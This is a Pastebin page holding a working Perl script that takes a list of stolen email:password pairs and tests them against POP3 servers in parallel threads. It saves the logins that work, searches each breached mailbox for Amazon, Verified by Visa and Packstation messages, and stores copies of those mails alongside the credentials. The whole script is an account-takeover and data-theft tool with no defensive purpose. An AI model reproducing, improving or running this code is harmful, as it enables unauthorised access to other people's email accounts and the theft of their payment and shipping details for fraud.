Advertisement
Guest User

Untitled

a guest
Sep 14th, 2017
836
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.21 KB | None | 0 0
  1. # email:pw -> pop3-check -> TRUE -> write valid-mails.txt .... --> Get number of mails in Account --> Get
  2. # All email header data and search for something -> if something found -> mkdir $email ->
  3. # generate mail -> asFSDf.html
  4. use threads;
  5. use warnings;
  6. use Net::POP3;
  7. my $count=0;
  8. my $counter=0;
  9. my $trigger = 30;
  10. my $trigger2= 30;
  11. my $threads = $ARGV[0];
  12. my $break = "_____________________________________________________________________________________";
  13. if (@ARGV <1){print "Usage: Check.pl Threadnumber [Example: check.pl 10]\n";exit;}
  14.  
  15. &begin;
  16. print "[-] Starting....\n[-]\n";
  17. foreach my $item (@accs){
  18. my $ctr = 0;foreach my $thr (threads->list){$ctr++;}
  19. if ($counter == $trigger){print "[-] Got $counter of ".scalar(@accs)." Accounts\n";$trigger=$trigger + 30;}
  20. if ($ctr < $threads){$counter++;threads->create(\&connect,$item);}else{redo;}
  21. }
  22.  
  23. while (threads->list) {}
  24. print "[-]\n[-] Done .... ";
  25. close($pop);
  26.  
  27. sub connect{
  28. my $item = shift;
  29. my @temp = split( /:/, $item);
  30. chomp($temp[0]);
  31. chomp($temp[1]);
  32. my $username = $temp[0];
  33. my $password = $temp[1];
  34. for(my $i = 0; $i < @pop3_kennung; $i++) {
  35. if($username =~ m/$pop3_kennung[$i]/) {
  36. chomp($pop3_server[$i] );
  37. if($pop = Net::POP3->new($pop3_server[$i], Timeout => 30 )) {
  38. my $ret;
  39. if( $ret = $pop->login($username, $password) and $ret > 0) {
  40. print "[-] $username:$password is valid\n";
  41. &handle2($username.":".$password);
  42. my $msgnums = $pop->list;
  43. my $count = 0;
  44. print "[-] We got ".$ret." Mails to fetch... Starting\n";
  45. foreach my $msgnum (keys %$msgnums) {
  46. my $msg = $pop->top($msgnum);
  47. foreach my $line (@{ $msg }) {
  48. if ( grep /Amazon|Karlo|Vefied by Visa|Packstation/i, $line){ # HIIIIIER
  49. if (-d $username){}else{system("mkdir $username")}
  50. my @filez;
  51. my $ms = $pop->get($msgnum);
  52. push @filez, $username.":".$password."\n\n";
  53. foreach(@{ $ms }) { push @filez, $_ } push @filez , "\n".$break."\n";
  54. my $namez = gen();
  55. open(FILE_OUT,">> $username/$namez.html");
  56. print FILE_OUT @filez;close(FILE_OUT);
  57. print "[-] FOUND something... wrote in $username/$namez.html\n";
  58. last;
  59. }
  60. }
  61. if ($count == $trigger2){
  62. print "[-] Got $count of ".$ret." Mails to fetch\n";
  63. $trigger2 = $trigger2 + 30;
  64. }
  65. $count++
  66. }
  67. }
  68. }
  69. }
  70. }
  71. threads->detach();
  72. }
  73.  
  74.  
  75. sub handle2{
  76. my $tmps = shift;
  77. open(FILE_OUTs,">> valid_mail-logins_new.txt");
  78. print FILE_OUTs "$tmps\n";
  79. close(FILE_OUTs);
  80. }
  81. sub begin{
  82. open(FILE_IN_LOGIN, "logindaten.txt" ) or die("Cannot find logindaten.txt\n");
  83. open(FILE_IN_POP3, "pop3_server.txt" ) or die("Cannot find pop3_server.txt\n");
  84. while(!eof(FILE_IN_POP3)) {
  85. my $line = <FILE_IN_POP3>;
  86. my @temp = split(/:/, $line);
  87. push( @pop3_kennung, $temp[0]);
  88. push( @pop3_server, $temp[1]);
  89. }
  90. foreach (<FILE_IN_LOGIN>){
  91. push @accs, $_;
  92. }
  93. close(FILE_IN_LOGIN);
  94. close(FILE_IN_POP3);
  95. }
  96.  
  97. sub gen{
  98. my @chars = ('a'..'z','0'..'9');
  99. my $str = '';
  100. for (1..12) {$str.= $chars[int rand @chars];}
  101. return $str;
  102. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement